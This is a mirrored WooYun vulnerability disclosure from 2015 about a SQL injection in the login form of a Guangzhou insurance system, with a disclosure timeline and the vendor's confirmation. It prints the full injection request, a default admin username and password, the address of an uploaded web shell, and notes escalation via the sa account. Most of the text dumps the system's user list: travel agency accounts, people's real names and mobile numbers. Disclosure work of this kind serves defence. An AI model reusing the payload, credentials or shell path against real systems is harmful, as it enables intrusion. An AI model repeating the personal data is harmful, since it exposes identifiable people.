乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-08-05: 细节已通知厂商并且等待厂商处理中 2015-08-06: 厂商已经确认,细节仅向厂商公开 2015-08-16: 细节向核心白帽子及相关领域专家公开 2015-08-26: 细节向普通白帽子公开 2015-09-05: 细节向实习白帽子公开 2015-09-20: 细节向公众公开
广州亚浦保险系统SQL注射漏洞(泄露5家合作大型保险公司上万保单+多家旅行社充值业务)
www.insissue.com 登录存在post注入,通过注入得到默认账户,上传得到SHELL。sa提权
POST / HTTP/1.1Host: www.insissue.comContent-Length: 297Cache-Control: max-age=0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Origin: http://www.insissue.comUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36 SE 2.X MetaSr 1.0Content-Type: application/x-www-form-urlencodedReferer: http://www.insissue.com/Accept-Encoding: gzip,deflate,sdchAccept-Language: zh-CN,zh;q=0.8__LASTFOCUS=&__VIEWSTATE=%2FwEPDwUJMTc5Nzg4NjM2ZGQl0aoV3hvEN1wreft8odJrH3S9PA%3D%3D&__VIEWSTATEGENERATOR=90059987&__EVENTTARGET=&__EVENTARGUMENT=&__EVENTVALIDATION=%2FwEWBALZmMvCBwKvruq2CAKyxeCRDwKPyPGACocEYGHXPKFt0tPDfTSet4hIg8CA&UserName=a%27+and+user%3E0--&PassWord=aaa&login=%E7%99%BB%E5%BD%95
POST包
admin apool2013
http://www.insissue.com/js/2014.aspx shell地址
5家合作保险公司
用户名 所属公司 电话号码 真实姓名 下级用户 Selectk1 测试旅行社 13888888888 k3 apool 亚浦保险 87375399 亚浦保险 fengguang 广东风光国际旅行社有限公司 83300677 风光 TONY TONY 13719002677 tony lee DFGL1 东方国旅国际商务部 86699032 东方国旅国际商务部 DFGL2 DFGL2 东方国旅国际商务部 86699032 东方国旅国际商务部 XMZYX 广东熊猫国际旅游有限公司(自由行部) 83185855 vivi FSGLSS 佛山国旅山水营业部 佛山国旅山水营业部 QWCG 广东侨外出国人员服务中心有限公司 0757-22381348 欧志成 邓绮媚 SISI 81043325 ESTRAVEL 广州市创游国际旅行社有限责任公司 广州市创游国际旅行社有限责任公司 test 测试旅行社 SINTU 广州新途旅行社有限公司 广州新途旅行社有限公司 WGY 东方签证网 13632298008 东方签证网 LHCZB 领航国旅操作部 61206989-52 领航国旅操作部 LHQZB 领航国旅签证部 61206989-31 领航国旅签证部 OMSL 广东和平国旅欧美商旅部 61223846 广东和平国旅欧美商旅部 XMPW 广东熊猫国际旅游有限公司票务部 83236265 广东熊猫国际旅游有限公司票务部 HY 广州市汇粤国际旅行社有限公司 83197103 广州市汇粤国际旅行社有限公司 QSGL 广州市千适国际旅行社有限公司 66315333 广州市千适国际旅行社有限公司 ZXGL 广东中信国际旅行社有限公司 81719815 广东中信国际旅行社有限公司 XMYWB 广东熊猫国际旅游有限公司业务部 83548108 广东熊猫国际旅游有限公司业务部 XIMIN 广州西敏国际旅行社有限公司总号 38114000 广州西敏国际旅行社有限公司 XIMINCJBXIMINRJBXIMINSWBXIMINPWB XIMINCJB 广州西敏国际旅行社有限公司出境部 广州西敏国际旅行社有限公司出境部 XIMINRJB 广州西敏国际旅行社有限公司入境部 广州西敏国际旅行社有限公司入境部 XIMINSWB 广州西敏国际旅行社有限公司商务部 广州西敏国际旅行社有限公司商务部 XIMINPWB 广州西敏国际旅行社有限公司票务部 广州西敏国际旅行社有限公司票务部 DTA 美国钻石商旅集团 美国钻石商旅集团 FEIXIN 广州市飞顺商务服务有限公司 飞信假期 DFGJSW 广州东方国际旅行社有限公司旅游中心 86018829 东方国旅国际商务旅游中心 FSGLGC 佛山国旅国际旅行社有限公司桂城门市部 13500250909 佛山国旅桂城门市部 DFGJCJ 广州东方国际旅行社有限公司出境游中心 86018783 东方国旅出境游中心 ZXSDY 广东中信国际旅行社有限公司深度游 87302210 中信国旅深度游 GRK 郭仁凯 13503034715 郭仁凯 SEDA01 深圳市发展经济研究会 深圳市发展经济研究会 SEDA02 深圳市发展经济研究会 深圳市发展经济研究会 SEDA03 深圳市发展经济研究会 深圳市发展经济研究会 SEDA04 深圳市发展经济研究会 深圳市发展经济研究会 SZZQ 深圳市中侨国际旅行社有限公司 13428677521 深圳市中侨国际旅行社有限公司 GDQL_ZQ 广东省中国青年旅行社中侨大厦门市部 13808890467 广东省中国青年旅行社中侨大厦门市部 13802500289 王旋 13802500289 13802500289 MAYZHANG LIHONGWXY009571211868889FQZ12226SDA61365CDQ87228WHP70450chuchu688WYH05215LJY98741 林雪菊01 林雪菊01 林雪菊 林雪菊02林雪菊03汤丽 林雪菊02 林雪菊02 林雪菊02 林雪菊03 林雪菊03 林雪菊03 MAY 庾冬梅 庾冬梅 测试 测试账户 测试 测试业务 刘亚利 刘亚利 刘亚利 中旅签证 中旅签证 中旅签证 中旅签证天河中旅签证订房中旅签证移民中旅签证华夏 中旅签证天河 中旅签证 中旅签证天河 中旅签证订房 中旅签证 中旅签证订房 中旅签证移民 中旅签证 中旅签证移民 中旅签证华夏 中旅签证 中旅签证华夏 测试业务 测试账户 测试业务 陈刚 陈刚 陈刚 唯意国际 唯意(深圳)国际旅行社有限公司 755-2382-2938 唯意国际 佛山国旅 佛山国旅 佛山国旅 佛山国旅佛宾部 ZHANG LIHONG ZHANG LIHONG ZHANG LIHONG WXY00957 伍雪英 WXY00957 WANG QIANJING 王倩静 王倩静 123 123 123 LI TINGFENG LI TINGFENG LI TINGFENG UNI Uni 13822110660 邓颖寰 丽晶之旅 丽晶之旅 丽晶之旅 凤怡 凤怡假期 凤怡假期 1211868889 梁婉琼 梁婉琼 FQZ12226 樊庆珍 FQZ12226 YTTX1 深圳市优途天下商务服务有限公司 深圳市优途天下商务服务有限公司 YTTX2 深圳市优途天下商务服务有限公司 深圳市优途天下商务服务有限公司 SDA61365 邵定安 SDA61365 蓝天助学 蓝天助学 28949864 蓝天助学 KANG HUI 康辉 康辉 珠海海外 珠海海外 珠海海外 环天电子 环天电子 环天电子 CDQ87228 楚德庆 CDQ87228 汤丽 汤丽 汤丽 SMILE SMILE SMILE TIM TIM TIM DONALD 黄楚栩 DONALD WHP70450 吴慧屏 WHP70450 chuchu688 chuchu688 chuchu688 CITSHD 熊猫旅行社花都分公司 CITSHD WYH05215 伍韵华 13682205215 WYH05215 TCDJ9999 广州天长地久旅游有限公司 TCDJ9999 珠海拱北口岸 珠海拱北口岸 珠海拱北口岸 珠海拱北口岸票务1珠海拱北口岸票务2 珠海拱北口岸票务1 珠海拱北口岸 珠海拱北口岸票务1 珠海拱北口岸票务2 珠海拱北口岸 珠海拱北口岸票务2 雷勇如 雷勇如 雷勇如 朱瀚祺 朱瀚祺 朱瀚祺 兆仁本业 广州兆仁本业教育科技有限公司 兆仁本业 FS广东中旅财务部 广东中旅 FS广东中旅财务部 FS广东中旅四海商旅 FS广东中旅四海商旅 广东中旅 FS广东中旅四海商旅 FS广东中旅出境部FS广东中旅后勤部FS广东中旅罗村部FS广东中旅金沙部FS广东中旅张槎部FS广东中旅丹灶部FS广东中旅建新部 FS广东中旅出境部 广东中旅 FS广东中旅出境部 FS广东中旅后勤部 广东中旅 FS广东中旅后勤部 FS广东中旅罗村部 广东中旅 FS广东中旅罗村部 FS广东中旅金沙部 广东中旅 FS广东中旅金沙部 FS广东中旅张槎部 广东中旅 FS广东中旅张槎部 FS广东中旅丹灶部 广东中旅 FS广东中旅丹灶部 FS广东中旅建新部 广东中旅 FS广东中旅建新部 百利沙 百利沙 百利沙 百利沙签证百利沙地接百利沙机票百利沙销售 佛山国旅佛宾部 佛山国旅 佛山国旅佛宾部 人保测试 人保测试 人保测试 apool123 apool123 apool123 查询 亚浦保险 查询 TONGYOU 广州童游信息科技有限公司 广州童游信息科技有限公司 LJY98741 LJY98741 LJY98741 ZHANGHUIBING 张惠冰 张惠冰 YHIT99 广东熊猫国旅华明分公司 广东熊猫国旅华明分公司 CITSHL 广东熊猫国旅华乐分公司 广东熊猫国旅华乐分公司 百利沙签证 百利沙 百利沙签证 百利沙地接 百利沙 百利沙地接 百利沙机票 百利沙 百利沙机票 百利沙销售 百利沙 百利沙销售 范莉梅 范莉梅 范莉梅 华之通 华之通 华之通 YCZL 羊城之旅连新分社 羊城之旅连新分社 YCZL01YCZL02YCZL03YCZL04YCZL05 YCZL01 羊城之旅连新分社01 羊城之旅连新分社01 YCZL02 羊城之旅连新分社02 羊城之旅连新分社02 YCZL03 羊城之旅连新分社03 羊城之旅连新分社03 YCZL04 羊城之旅连新分社04 羊城之旅连新分社04 YCZL05 羊城之旅连新分社05 羊城之旅连新分社05 YCZL06 羊城之旅连新分社06 羊城之旅连新分社06 佛山国旅商旅 佛山国旅 佛山国旅商旅 佛山国旅票务 佛山国旅 佛山国旅票务 安程旅游 安程旅游 安程旅游
设计多家合作旅行社
危害等级:高
漏洞Rank:13
确认时间:2015-08-06 11:06
非常感谢您的报告。报告中的问题已确认并复现.影响的数据:高攻击成本:低造成影响:高综合评级为:高,rank:13正在联系相关网站管理单位处置。
暂无